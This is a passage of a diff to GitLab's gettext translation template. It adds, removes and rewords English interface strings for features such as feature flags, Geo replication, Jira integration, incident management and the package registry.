+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
